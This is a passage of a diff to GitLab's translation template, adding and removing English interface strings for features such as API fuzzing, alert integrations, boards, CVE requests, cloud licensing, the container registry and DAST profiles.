+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
